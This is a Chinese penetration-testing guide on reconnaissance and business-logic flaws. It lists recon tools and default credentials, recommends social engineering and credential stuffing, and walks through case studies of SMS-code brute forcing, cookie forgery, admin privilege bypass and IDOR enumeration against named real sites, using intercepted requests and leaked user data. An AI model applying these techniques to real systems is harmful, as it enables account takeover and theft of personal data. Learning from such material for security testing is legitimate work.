一、 信息前期收集

1.1 域名信息收集

Whois 査询:

爱站工具网和站长网都可以查询到域名的相关信息如域名服务商,域名拥有者, 以及邮箱电话,地址等信息) 网站的关于页面/网站地图(可查询到企业的相关信息介绍,如域名 备案信息查询: http://www.beianbeian.com,http://www.tianyancha.com) 域传输漏洞: dig baidu.com。

用途:

利用以上收集到的邮箱、QQ、电话号码、姓名、以及域名服务商可以用来社工客 户或者渗透域服务商,拿下域管理控制台,然后做域劫持;通过收集到邮箱,可 以在社工库查找到是否有出现泄漏密码以及通过搜索引擎搜索到社交账号等信 息,通过社交和社工得到的信息构造成密码字典,然后对 mail 和 oa 进行爆破 或者撞裤。

1.2 子域名信息收集

子域名爆破:

layer,K8,subDomainsBrute,dnsmaper,Sublist3r,google搜索语法, MaltegoCE, 在线子域名: http://i.links.cn/subdomain/ 用途: 这里重点推荐 layaer 和 k8 以及 subDomainsBrute 工具,可以从子域名入侵 到主站。

1.3 敏感信息收集

github 源代码信息泄露收集(Github_Nuggests, GitHack, GitPrey-master 以及GitHarvester,gitscan,github 语法信息收集) svn 信息泄漏收集(svn_git_scanner,seekret(目录信息搜索),Seay SVN漏 洞利用工具) DS_Store 泄露(ds_store_exp)。 批量信息泄露扫描:bbscan(可以用小字典快速扫描网站的泄露和它的旁站网段 的所有信息泄露)。 .hg 源码泄漏:dvcs-ripper-master。 Metagoofil 收集敏感的文档文件。

用途:

主要从 github 以及 google 语法入手收集的敏感的信息如账号和密码等。

1.4 敏感文件

通过爬虫和扫描工具以及 googel 语法搜索到敏感的如配置信息,数据库连接文件,以及备份文件等。

1.5 敏感目录

批量扫描 C 段和旁站目录: 御剑修改版 单个网站目录扫描: 御剑后台扫描, DirBuster, wwwscan spinder.py(轻量快速单文件目录后台扫描), sensitivefilescan (轻量快速单文件目录后台扫描), weakfilescan (轻量 快速单文件目录后台扫描)。

用途:

可扫描敏感的文件以及目录或者后台或者网站备份文件和数据库文件。

1.6 Email 收集

通过 teemo, metago, burpusit, awvs, netspker 或者 google 语法收集。 收集对方的邮箱账号命名习惯(因为好多官方后台都是用内部邮箱账号登录的)。 用途:

可用来进行爆破或者弱口令登录以及撞裤攻击。

1.7 Ip 段信息收集

通过子域名得到的 IP 然后整合出整个目标暴露在公网的 IP 通过 nessuess 或者 nexpose 对整个 IP 段进行批量扫描端口,然后导入到 amiage 中进行渗 透 通过对 C 段或者 B 段进行 IP 常用的 4000 个端口进行爆破扫描,最后整 理出能正常访问的端 口,这里一般用脚本解决。

1.8 常用端口信息收集

C 段扫描(web 和常用应用)端口:

F-NAScan, K8, fenghuangscanner_v3 脚本, F-NAScan.py, lanscan SRC 开发常用的端口、以及一些域名的命名习惯(GitHub 上面有很多 现成的端口,平时收集信息的时候,可以多注意一下) 可以通过 NMAP 扫描常用的开放端口进行渗透 HSCAN, HYDRA 进行爆破

web 类(web 漏洞/敏感目录):

中间件探测: f-middlerwarescan(只能批量扫描整个 C 段开放的常用 中间件端口) 第三方通用组件漏洞 struts thinkphp jboss ganglia zabbix cacti 80 80-89 8000-9090

特殊服务类(未授权/命令执行类/漏洞):

1099	rmi	命令执行
8000	jdwp java	调试接口命令执行
443	SSL	心脏滴血
873	Rsync	未授权
5984	CouchDB	http://xxx:5984/_utils/
6379	redis	未授权
7001, 7002	WebLogic	默认弱口令,反序列
9200, 9300	elasticsear	ch
11211	memcache	未授权访问
27017, 27018	Mongodb	未授权访问
50000	SAP	命令执行
50060, 50070, 50030	hadoop	默认端口未授权访问
2375	docker	未授权访问
3128	squid	代理默认端口
2601, 2604	zebra	路由, 默认密码 zebra
4440	rundeck	
4848	glassfish	中间件弱口令 admin/adminadmin
9000	fcigphp	代码执行
9043	websphere	弱口令 admin/admin

常用端口类(扫描弱口令/端口爆破):

21	ftp
22	SSH
23	Telnet
161	SNMP
389	LDAP
445	SMB
1433	MSSQL
1521	Oracle
3306	MySQL
3389	远程桌面
5432	PostgreSQL
5900	vnc

1.9 收集账号信息

通过说明文档以及 google 或者网站这个页面收集,或者网站发表者 以及留言板信息处收集账号,可对 oa, erp, um, sso 等系统账号进行爆 破。

搜索相关 QQ 群收集相关企业员工的社交账号。

1.10 利用 google 和 bing 等语法语句进行批量搜索

数据库文件, SQL 注入, 配置信息, 源代码泄露, 未授权访问, CMs 的 install 和后台地址, robots.txt 等信息。

1.11 爬虫收集

spiderfoot(可爬虫出 RUL 链接以及 JS 以及 DOC 以及邮箱和子域名等 信息)。 Sn1per(自动化信息收集框架)。 通过 avws,netpsker,burpsuit 可进行爬虫扫描。 Recon-ng(自动化信息收集框架)。 instarecon 自动化信息爬虫收集。

1.12 Cms 指纹识别

CMS 指纹识别: 御剑 web 指纹识别, WebRobot。 利用第三方漏洞平台(乌云和 seebug 以及补天漏洞),查看相关漏洞。

1.13 大数据平台信息收集

https://x.threatbook.cn/
https://www.zoomeye.org/
https://www.shodan.io/
https://haosec.cn/

1.14 服务器信息以及脚本类型

通过 whatweb, p0f, httprint, httprecon 可得到网站指纹识别。 通过 avws 也可以得到服务器信息。

1.15 查找到真实 ip 地址

- 1. 通过邮件(看邮箱头源 ip)找真实 ip (可靠)。
- 2. 通过查询域名历史 ip, http://toolbar.netcraft.com (借鉴)。

3. 通过 zmpap 全网爆破查询真实 ip (可靠)。

4. 子域名爆破,现在越来越不靠谱了。

5. 通过扫描出网站测试文件如 phpinfo, test 等配置文件, 路径字典强度, 很容易跑出来的。

6. 扫到备份,有时候查看配置。

7. 主站使用 CND, 二级域名不一定使用 CDN, 二级域名不一定和主站同一个 IP 有可能是同 C 段, 可以扫描整个 C 段 WEB 端口。

8. 通过国外冷门的 DNS 的查询: nslookup xxx.com 国外冷门 DNS 地址。

9. 做 CDN 配 置 解 析 不 完 全 , ping backlion.org 和 ping www.baklion.org 的 IP 不同 。

10. rss 订阅一般也会得到真实 IP 。

12. 常用查历史记录真实 IP:

http://asm.ca.com/en/ping.php http://www.cdnplanet.com/tools/cdnfinder/ http://toolbar.netcraft.com/site_report http://viewdns.info/iphistory/?domain= http://www.hosterstats.com/historicaldns.php http://whoisrequest.com/history/ http://map.norsecorp.com/#/ http://crimeflare.com (査 cloudflare 真实 ip 百试不爽)

1.16 信息整理

一般通过 word 进行信息整理,如:网站采用什么模板 cms,有哪些敏感的 url 连接,是否有 WAF,注册 2 个账号和 2 个邮箱, 2 个手机号码,那些网站曾经在乌云上暴露过漏洞。

二、 业务安全漏洞挖掘

2.1 身份认证安全

2.1.1 暴力破解

在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进 行暴力破解或者用一个通用密码对用户进行暴力破解。简单的验证码爆破。

案列: 某药 app 暴力破解

前一段时间某药 app 在地铁站里做广告,于是就下了看了下,抓包一看请求全是明 文的,感觉渗透有戏,于是,开始渗透 先从登陆界面开始:



密码错误,这就好办了,自己构造个手机号字典去刷,如图:

鼠标滚轮缩	放图片					<u> </u>	\times		C	Ø
18312	15011381001	200		335						
18602	15010681001	200		335						
18886	15058881001	200		335						
19119	15081191001	200		335	-	~汪册过的手机号				
19962	15016991001	200		335 🤺						
20002	15010002001	200		335						
20434	15033402001	200		335						
20902	15010902001	200		335						
22202	15010222001	200		335						
0		200		347	-	10.12.00			_	
1	15000000001	200		347 🔺		役汪册	过的	手利げ	5	
2	15010000001	200		347						
3	15020000001	200		347						
5	15040000001	200		347						
4	15030000001	200		347						
8	15070000001	200		347						
7	15060000001	200		347			7~	~ 1	-	
6	15050000001	200		347			$^{\prime}O$	O	55	
12	15011000001	200		347		Ū.				

ok,拿到手机号了,下面就开始暴力破解验证码了,用自己手机试了下,验证码是4位的,而且请求也是明文的,接下来暴力破解验证码,刚开始成功了,但是用这个验证码却登陆不上去,于是就关了那个爆破结果,后来我静下来想想,想到人家验证码可能是一次有效的,后来我又刷了一遍,但是可能被发现了,再刷结果返回302了,失败

🗲 Intrue	der attack	30											
Attack S	ave Colum	ns											
Results	Target	Positions	Payloads	Options									
Filter: Sho	wing all ite	ms											
Request	Payloa	d		Status	Error	Timeout	Length	V Comment					
0				302			523						
1	0000			302			523						
2	1000			302			523						
3	2000			302			523						
5	4000			302			523						
4	3000			302			523						
8	7000			302			523						
7	6000			302			523						
6	5000			302			523						
12	1100			302			523						
11	0100			302			523						
10	9000			302			523						
Reques	Respon	ise											_
Raw	Headers	Hex HT	ML Rende	r									
HTTP/1 1	302 For	md											
Server:	Tengine												
Date: Fi	i, 06 J.	an 2017	04:41:22	GMT									
Content-	Type: to	ext/html											
Set-Cook	ie: acw	sc=586f	1ff2f599d	7c4d8f15d0	af276789f5	52299b6;	path=/;H	ttp0nlv					
cache-co	ntrol: i	no-cache											
Location	1: /v3/p	s.php											
Content-	Length:	258											
DOCTYT</td <td>E HIML</td> <td>PUBLIC "</td> <td>-//IETF//</td> <td>DTD HIML :</td> <td>2.0//EN"></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	E HIML	PUBLIC "	-//IETF//	DTD HIML :	2.0//EN">								
<head><t< td=""><td>itle>30</td><td>2 Found<</td><td>/title><!--</td--><td>head></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></td></t<></head>	itle>30	2 Found<	/title> </td <td>head></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	head>									
<body by<="" td=""><td>color="</td><td>white"></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></body>	color="	white">											
<h1>302</h1>	Found </td <td>n1></td> <td></td>	n1>											
The r <hr/> Por	equester mered by	1 resour Tencine	<pre>ce reside </pre>	s temporal	under a	a differ	ent URI.						
	cica b _l	rengine	., we ay										
											-70	$\Omega \cap I^{\circ}$	0
													9

于是我发现有个找回密码功能,也是手机验证码,填上自己自定义的密码,然后获取验证码,抓包



继续爆破,这次找到了,其实暴力破解登陆验证码的时候跟这个一样,只不过我没保存下来,如图:

	-							
Request	Position	Payload	Status	Error	Timeout	Length	•	Comment
2882	1	1882	200			409 ┥		-
0			200			323		
1	1	0000	200			323		
2	1	1000	200			323		
3	1	2000	200			323		
4	1	3000	200			323		
5	1	4000	200			323		
7	1	6000	200			323		
6	1	5000	200			323		
11	1	0100	200			323		
10	1	9000	200			323		
9	1	8000	200			323		
Request	Response	1						
Troqueer								
Raw	eaders Hex	:						
HTTP/1.1	200 OK	•						
Date: Fri	, 06 Jan 2	017 04:27:40 GMT						
Content-T	ype: text/	'html; charset=utf-8						
Connectio:	n: close							
Set-Cooki	e: acw_tc=	AQAAAM1ox221AAAAmTMxPY188	W3pumA4; P	ath=/; Ht	tpOnly			
Server: n	ginx/0.8.4	16						
Vary: Acc	ept-sncodi	ing						
Contont-I	-by: PHP/3							
concenc h	engen. 151							

{"ST":1,"M!":"\u627e\u56de\u56c6\u7801\u6210\u529f","YN7T":"kf1503","AID":"0","CID":1,"NT":"","XDD":"","ADD":"","ND":"15033402001"}

用我修改的密码登陆,如图:



总结,这次爆破的跟之前不太一样,之前的验证码都是用过之后还有效的,这次验 证码是一次性的,可能我经验太少了,大牛估计直接就想到了。

一些工具及脚本

Burpsuite

htpwdScan 撞库爆破必备 URL: <u>https://github.com/lijiejie/htpwdScan</u> hydra 源码安装 xhydra 支持更多的协议去爆破(可破 WEB,其他协议不属于业务 安全的范畴)

2.1.2 Cookie&session

a. 会话固定攻击

利用服务器的 session 不变机制,借他人之手获得认证和授权,冒充他人。

案列:新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露

网站源码可直接下载本地,分析源码可直接登陆后台。暴露所有用户个人资料,联系方式等, 目测用户 566764 名。

用户资料暴露

eat.gd.sina.com.cn		ge 48type=	
度搜索 🗋 彩票购买 🗋 公交查询 🗌	🗅 精选团购 🗋	美女美图 🗋 免费单机游戏 🗋 免费	小游戏 🗋 起点小说 🗋 搜狐
	搜索:	提交	
	AuthorID	帐号	真实姓名
	544	<u>茶吟</u> [<u>添加信息</u>]	E
	539	<u>刘小饕 [添加信息</u>]	刘 <mark>乘</mark> 茜
	537	<u>美食人牛 [添加信息</u>]	Land Land
	536	<u>翔九天 [添加信息]</u>	朱世
	535	<u>si 1-11 CH-10</u> 合白1 查看源代码(V)	
	534	<u>櫻花漫 [添加信息</u>]	<u>įtara</u>
	533	<u>chentianjing520</u> [添加信息]	
	529	<u>兜兜 [添加信息]</u>	ß <mark>≊ de≜</mark> tt
	515	<u>漫步者</u> [<u>添加信息</u>]	19
	511	<u> 離鱼 [添加信息</u>]	
	503	<u>hannilixiao [添加信息</u>]	

566764 名用户资料

1174982220 miji 2010 查看源代码(mijie2010 V)	2	男	1990-04-26 00:00:00	6423(
1191462752 风过无痕	风过无痕	2	女	1989-11-26 00:00:00	56342
11399728021dysji%5F2000	ldysji%5F2000	0	女	0000-00-00 00:00:00	3307(
□ 1198753877 <mark>聆听之使</mark>	聆听之使	2	男	1981-09-24 00:00:00	7565(
🔲 1160681085 stephani eyuki	stephani eyuki	2	女	1982-06-01 00:00:00	29435 · 29436
1192837145 yumikoli220	yumikoli220	2	女	1985-02-20 00:00:00	29437 29438
1192812710 fox1958	fox1958	2	男	1983-02-26 00:00:00	29439 29440
1212485991 簠蕙	箫萧	2	女	1984-10-27 00:00:00	29441
1196242384 <u>dsqi anO1</u>	dsqi anO1	2	女	1999-01-01 00:00:00	29443
🗖 1213413933 <mark>gogogo he</mark>	gogogo_he	2	男	1980-01-16 00:00:00	29445
1448384657 contented yu	contented_yu	2	女	1976-02-11 00:00:00	29440
1214531451 小猫bb7676	小猫ЪЪ7676	2	女	1976-03-09 00:00:00	29448
68126003 雀屏	雀屏	5	男	0000-00-00 00:00:00	29450 29451
1214520957 auney	quney	2	女	1982-04-19 00:00:00	29452 29453
分数操作设定 0 🧠	此分数设定为大于零	时加分,	小于零时	ரு www.wog	yun.org

直接进入后台

您现在的位置	: <u>美食频道</u> >> 管理 <u>退出</u>	
1 <mark>餐厅图片</mark> 1 <u>审批</u>		
2 <mark>网友报错</mark> 2处理		
3餐厅审批		
4已审餐厅		
5现有餐厅		
* 电批抓取		25
<u>6</u> 现有餐厅 6图片	查看源代码(V)	
7餐厅添加		
8餐厅修改		
9 <u>FB图片审</u> 9 <u>批</u>		
10 <mark>FB评论审</mark> <u>批</u>		
11 <u>现有FB</u>		
12 <u>现有FB回</u>	No constanting	
13 <mark>现有FB图</mark> 上		
14 <u>餐厅评论</u> 审批	☑ 公司聚餐 <u>[相关餐厅]</u>	☑ 饭店招牌 [相关餐厅]
15 <mark>网友文章</mark> <u>审批</u>		
16 <u>已审网友</u>	A DECEMBER OF	
17 文章附带		A MARINE M
	☑ 二楼包房一角 [相关餐厅]	☑3楼宴会厅 [相关餐厅]
18 <u>美食宝贝</u> 留言		www.woovun.org

源码直接下载

anag	ge 🕨	_	<pre>\$user; \$_SESSION[UserInto</pre>
寄吾	M	T目(T)	=\$row[userid]; \$_SESSION["U
2/8	(•)		[UserName] =\$row[alias];
t.		共學 刻录 新建文	\$ SESSION["UserInfo"][UserLevel] =\$ro
)	-	名称	*/ //ec
		include	echo " <script>location.href('list.ph</td></tr><tr><td></td><td></td><td>ie ie</td><td>//}else{ // echo</td></tr><tr><td>罟</td><td></td><td>modeladmin</td><td>('登录失败!帐户已经失效!'); location. replace</td></tr><tr><td>1</td><td></td><td>houcleanin</td><td>('login.php'):</script> ": //}
			echo " <script></script>

566764 名用户资料直接跨后台浏览

11	74982220		mijie2010 D	2	男	1990-04-26 00:00:00	6423
11	91462752	风过无痕	风过无痕	2	女	1989-11-26 00:00:00	5634
I 11	39972802	<u>1dysji%5F2000</u>	ldysji%5F2000	0	女	0000-00-00 00:00:00	3307
I 11	98753877	<u>聆听之使</u>	聆听之使	2	男	1981-09-24 00:00:00	7565
I 11	60681085	<u>stephani eyuki</u>	stephani eyuki	2	女	1982-06-01 00:00:00	29435 29436
1 1	92837145	yumikoli220	yumikoli220	2	女	1985-02-20 00:00:00	29437 29438
1 1	92812710	<u>fox1958</u>	fox1958	2	男	1983-02-26 00:00:00	29439
12	12485991	意意	箫萧	2	女	1984-10-27 00:00:00	29441
I 11	96242384	<u>dsqian01</u>	dsqi anO1	2	女	1999-01-01 00:00:00	29443
12	13413933	gogogo he	gogogo_he	2	男	1980-01-16 00:00:00	29445
14	48384657	contented yu	contented_yu	2	女	1976-02-11 00:00:00	29446
12	14531451	<u>小猫ЪЪ7676</u>	小猫ЪЪ7676	2	女	1976-03-09 00:00:00	29448 29449
68	126003	雀屏	雀屏	5	男	0000-00-00 00:00:00	29450 29451
12	14520957	guney	quney	2	女	1982-04-19 00:00:00	29452 29453

修复方案:

漏洞较多,不知怎么说起,只列举一项 phpsessid 会话固定,通过利用此漏洞,攻击者可以

进行会话固定攻击。在一个会话固定攻击,攻击者将用户的会话 ID 之前,用户甚至登录到 目标服务器,从而消除了需要获得用户的会话 ID 之后。从 php. ini 设置 session.use_only_cookies = 1。该选项使管理员能够使他们的用户不会受到攻击涉及在 URL 传递的会话 ID,缺省值为 0。

b. Cookie 仿冒: 修改 cookie 中的某个参数可以登录其他用户。

案例: 益云广告平台任意帐号登录

只需要添加 cookie yibouid=数字 即可登录任意用户帐号!

通过遍历 找到一个官方管理的 ID 291 登录

🗲 🕑 yibo. iyiyun. com/Ad/index					₩ 市度	₽ ♦
「益理」					計画	國退出
		个人资料 我	的公益广告	广告位管理		
		个人中心 > 个人广告管理 > 我的广	告			添加广告
		广告名称	广告尺寸	更新时间	操作	
	EC AND	如何防止电话诈骗	190×350	2014-01-21 10:22:50	修改 获取代码 使用中 查看报行	吉 删除
		女神都敢骗,我该怎么办?	190×350	2014-01-15 15:32:08	修改 获取代码 使用中 查署报行	吉 删除
	1950X.0274 1950X.0295	非女神,防诈骗	360×190	2014-01-15 15:03:10	修改 获取代码 使用中 查看报行	青 删除
	昵称:chinawill	非女神,防诈骗	950×90	2014-01-15 14:51:22	修改 获取代码 使用中 宣署报行	吉 删除
	公益广告	关注罕见病	200×200	2014-01-13 15:00:39	修改 获取代码 已停用 查看报行	吉 删除
	A	公益的N方——视频创喜沙龙	950×90	2013-12-24 12:48:35	修改 获取代码 使用中 查看报	吉 删除
	e m	公益的N方——视频创客沙龙	190×350	2013-12-24 12:49:10	修改 获取代码 使用中 重着报行	音 删除
	12 5	你的垃圾食品和他的垃圾食品	180×250	2013-11-25 15:17:04	修改 获取代码 使用中 查看报	吉 删除
		赤贫者的早餐	290×200	2013-11-25 15:12:27	修改 获取代码 使用中 查看报	吉 删除
	历史上,有许许多多已经天地或测输天地的物种。 不要计算地系统为历史。	难道我生来就要挨饿?	290×200	2013-11-25 14:44:18	修改 获取代码 使用中 重看报行	青 删除
	保护黑熊。	404公益	190×350	2013-11-13 15:16:26	修改 获取代码 已停用 查看报行	青 删除
	(C.)	拯救中华田园犬,我在这	120×240	2013-11-08 17:53:39	修改 获取代码 使用中 查署报行	告 删除
		爱心蚂蚁	100×100	2013-11-06 10:26:53	修改 获取代码 使用中 查着外外	ww.ooyun.org

看看浏览 还是不错嘛



修复方案:

增强对 cookie 的验证机制!

2.1.3 加密测试

未使用 https,是功能测试点,不好利用。 前端加密,用密文去后台校验,并利用 smart decode 可解。

2.2 业务一致性安全

2.2.1 手机号篡改

抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包, 修改手机号码参数为其他人号码,查看是否能查询其他人的业务。

2.2.2 邮箱和用户名更改

抓包修改用户或者邮箱参数为其他用户或者邮箱

案例:绿盟 RSAS 安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2

RSAS 默认的审计员

账号是: reporter, auditor 密码是: nsfocus

普通账户登陆后 查看版本,为最新 V**.**.**.** 版本



然后修改审计员密码,抓包,将 referer 处的 auditor 和 post 的数据里面的 auditor 一律 修改为 admin,也就是管理员账号,2 处修改完后的数据包如下图:

Burp Intruder Repeater W	indow Help										
Target Proxy Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Options	Alerts		
htercept History Op	tions								~		
Request to https://2	02.108.90.133	443						/			
Forward	rop	Intercept is	on	Action				/		Comment this item	
Raw Params Heade	rs Hex						/			h	
POST /user/update 1	HTTP/1.1		a a :								
Accept: text/html,	applicat	ion/xht	ml+xml,	*/*	day of the						
Referer: https://20	J2.108.90 b-CM	. 133/us	er/edit/	account/a	cimin	>					
User-Agent: Mozill	a/5.0 (co	matible	e: MSTE	. O. Wind	OWS NT 6	1. NONE	4. Tride	nt/5.0)			
Content-Type: appl.	ication/x	-www-fo	rm-urlen	coded			.,				
Accept-Encoding: g	zip, defl	ate									
Host: 202.108.90.1	33										
Content-Length: 27	5										
Connection: Keep-A	live										
Cache-Control: no-	cache							-			
Cookie: language=z	h CN; PHP	SESSID=	c24b6cb11	5792a92c	55279486	5eb4ce3					
	-										
user:5Baccount:5D=	admin&use	r%5Bnam	e%5D=Adm	in&user\$5	Bpasswor	d%5D=4rf	v#EDC2ws	x!QAZ&u	ser%5Bpas	sword.confirm.5D=4r	fv#EDC
2wsx QAZ&user \$5Bma.	il%5D=adm	in@exam	ple.com&	user*5Bro	les:5D=A	DMINISTR	ATORSaus	er%5Bal	lowLoginI	p*5D=*.*.*.*&user*5	BmaxTa
sk 5D=150)

提交数据后,直接返回给我们超级管理员的密码修改页面,利用逻辑错误直接得到超级权限, 如图:

管理页姓名	Admin 👕	* 最多20个字符
	◎密码强度不够,请包	含数字、字母、@、#、\$、^、_中的至少两类。
密码	•••••]如果不修改密码,请留空(8-20个字符,至少包含数字、字母、@、#、\$、^、_中的两类
密码确认		如果不修改密码,请留空
电子邮箱	admin@example.com] example@hotmail.com
允许登录的IP范围	* * * *	■P的格式如下(多个IP范围或多个独立IP之间可用","、";"、回车、空格等分 192.168.0.1 192.168.1.1-254 192.168.1.*
允许扫描的IP范围		· ·
允许扫描的域名范围		-
最大任务存放数	150 💌	
	确定取消	

我们直接在这里修改 admin 的密码, 然后提交即可:

I> 🖒 🖈 NSFO	CUS RSAS × +	
360 登录管家	想安全保存该网站的密码吗?(若您使用网哈等公共电脑不建议保存)	
RSAS		▲您好, Admin 简体中文 ▼ + 升级 e
	RSAS,新建任务	
新建任务	任务列表	
任务列表 据表输出	每页显示125] 100条,共233条记录 首页 上一页 下一页 末页 1/10页,转到	

超级管理员登陆



Ø	 124.205.120.9	北京国役	获取升级包 获取
	 218.65.106.187	江西地稅	获取升级包 获取打
V	 59.50.95.182	海南国税	获取升级包 获取
V	218.25.174.168	大達國稅	[

2.2.3 订单 ID 更改

查看自己的订单 id, 然后修改 id (加减一) 查看是否能查看其它订单信息。

案例: 广之旅旅行社任意访问用户订单

可以任意访问旅客的订单,泄露旅客的敏感信息!

用户登陆广之旅官方网站注册登陆 http://www.gzl.com.cn/ 只要随便假订一张订单,在我的订单里面获得订单号,就能穷举其它订单信息

www.gzl.con	n.cn/Users/Ord	ler/Groups.a	ispx?Orde	erId=1056	_							
	▲ 设为首页	经营许可证	新版介绍					您较	F. C	会员中心	退出登陆	我要支付
				参团游 热门:春节	 请输入目的地、 迪拜泰国欧洲台 	生题或关键字 31湾 日本 新西兰:	化京	÷	Q	2	400-86 020-86	3-8888 338888
	首页	参团游 自	自由行	超值 涌	暫店 门票	国内机票	主題旅游	租车	自游通十	Ŧ		
	您现在的位置:	首页 > 会员中心	> 我的订单 >	旅游订单		可	以任意修改订单号	查看用户信息				
	我的订单	留言信息	【特抄	住】下川 ^{前送信}	岛亚热带	风情二天(住超豪华	酒店)				
	修改密码	收藏夹	N-F	计 1月 订单号码: 产品编号: 出发日期:	GSX下JIJA201308	03海滨阁海景一定	行	订单状态 出发地 于物	取消单 8:30以	太广场(不设	·昌岗东和西门C	1)
	常用旅客信息	我的积分		回程日期: 人数	2013-08-04 总价	已付金	额	未付金额				
	自游通卡 查询	修改个人 资料		2	¥0.00) ¥0.00		¥0.00				
			旅客	R信息								
				旅客姓名	身份)证号码	性别		旅客类别		手机号码	
				-	97	-	女		成人		-	
					4		男		成人			
			联系	《人信息	_	_	_	_				
			I	联系人姓名: E-mail:	~ qq.	com		手机	-			
											WWW.W	ooyun.org

http://www.gzl.com.cn/Users/Order/Groups.aspx?OrderId=订单号 该页没过滤权限,相信还有更大的漏洞。

修复方案: 对 http://www.gzl.com.cn/Users/Order/Groups.aspx 订单页增加过滤

2.2.4 商品编号更改

例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。

案例: 联想某积分商城支付漏洞再绕过

http://ideaclub.lenovo.com.cn/club/index.php?m=goods&c=lists 还是这个积分商城、 看我怎么用最低的积分换最高积分的礼物的[~]

1. 我先挑选出我最喜欢的礼物,并复制下 goods_id=1419f75d406811e3ae7601beb44c5ff7



2. 选择积分最低的礼物兑换(5积分的杯子),并填好相关信息,抓包修改 goods_id 替换为1419f75d406811e3ae7601beb44c5ff7

Fiddler Web Debugger		
File Edit Rules Tools View Help GET /book		
📿 🖅 Replay 🗙 🔹 🕨 Resume 🛛 🕸 Stream 🎬 Decode Keep: All sessions 🔹 🕀 Any Frocess 🏦 Find 🔜 Save 🎼 🖄 俊	🖻 Browse 🔹 🛞 Clear Cache 🎢 TextWizard 🛛 🖳 Tearoff 🛛 👘 💿	🚯 Onli
# Result Protocol Host URL	🚫 Statistics 🚟 Inspectors 🚿 AutoResponder 📝 Composer 🔲 Filters 🗉 Log 🚍 Tin	eine
1 - HTTP ideaclub.lenovo.com.cn /club/index.php?m=goods&c=detail&f=convert	Headers TextView WebForms HexView Auth Cookies Raw JSON XML	
	QueryString	
	Name	Valu
		goo
	C .	deta
		conv
	Name	_
	▶ goods_id	.0
	goods_number IC-13	
	count 1	
	alfscore 5	
	realname 王辰	
	mobile 15240233761	
	Break point hit. Tamper, then: Break on Response Run to Completion Choose Response.	
	Get SyntaxView Transformer Headers TextView ImageView HexView WebView	Auth Cach
	Cookies Raw JSON XML	
	The SyntaxWiew Inspector displays syntax-highlighted HTML, Script,	CSS, and
	XML. If you're a web developer, you'll want this add-on.	,
	Dounload and Install Sustavision pour	oovun.ora

3. 这里显示兑换成功,虽然显示的是被子兑换成功,但是兑换记录里,就不相同了

♥●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●	_id=a76894140b0e11e3880a601443159Fe0
🚖 收藏夹 🛛 🍰 📙 Hashchecker. de - Pass 🚷 tools88. com 在线工具 🔰 Backtrack5	实战系列视
₩ United and Carles All All All All All All All All All Al	
· · · · · · · · · · · · · · · · · · ·	
礼品详情	
	兑换信息提示
NBA水杯	<mark>兑换成功</mark> ! 恭喜您成功兑换了 <u>1件"NBA水杯"。</u> 我们会尽快安排发货,请注意查收! 如有问题请联系管理员小胖。
数量:30 所需idearfi:5	确认
	またままたがあ。WWW.WOOVUN.OFC



到这我们心仪的礼物要 30 积分,我只花 5 积分就兑换来了,是不是很划算?

修复方案:

积分参数还是放后台来操作,有 goods_id,在后台计算的时候取出并计算,这样会安全些。

2.2.5 用户 ID 篡改

抓包查看自己的用户 id, 然后修改 id (加减 1) 查看是否能查看其它用户 id 信息。

案列: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛 选简历、发面试通知等) 注册一个企业账户,发布一个职位,然后看到有2个人投了简历:



打开简历, 点转发:



抓包:

GET /forward/forward.json?jsoncallback=jQuery110107779618303757161_1430405784487%recipients=qiyea0002K40126.com%title=%EF%EC%83%E7%AE%80%E5%82%AE%80%AE%85%82%AE%85%8

Hm_Lvt_4233e74dff0ae5bd0a3d81c6ccf756e6=1430405190, 1430405301, 1430405430, 14304054702; Hm_Lpvt_4233e74dff0ae5bd0a3d81c6ccf756e6=1430405785
HTTP/1.1 200 0K
Date: Thu, 30 Apr 2015 14:57:04 GHT
Server: rfs
Content-Type: application/json.charset=UTF-8
Accept-Charset: big5, big5⁺bkscs, euc-jp, euc-kr, gb18030, gb2312, gbk, ibm⁻thai, ibm01858, ibm0140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146, ibm01146, ibm01146, ibm01147, ibm278, ibm270, ibm278, ibm270, ibm278, ibm280, ibm284, ibm285, ibm290, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm277, ibm277, ibm278, ibm280, ibm284, ibm285, ibm280, ibm284, ibm285, ibm280, ibm277, ibm277, ibm278, ibm280, ibm284, ibm285, ibm280, ibm271, ibm277, ibm278, ibm280, ibm284, ibm285, ibm280, ibm277, ibm278, ibm280, ibm284, ibm285, ibm280, ibm271, ibm271, ibm272, ibm272, ibm278, ibm280, ibm284, ibm281, ibm291, ibm281, ibm282, ibm383, x⁺lbm383, x⁺lbm

jQuery110107779618303757161_1430405784487({"content":{"rows":[]}, "message":"操作成功", "state":1})

www.wooyun.org

改简历 id, 话说这是 get:

Connection: keep-alive Accept: */*

Connection: keep-alive Accept: +K User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Referer: http://www.lagou.com/corpResume/resume/iew.html?deliverid=2559230 Accept: Accept: Accept: Acception and Accept: Acception and Accept: Acception and Accepting Accepting Acception and Acception and Accep

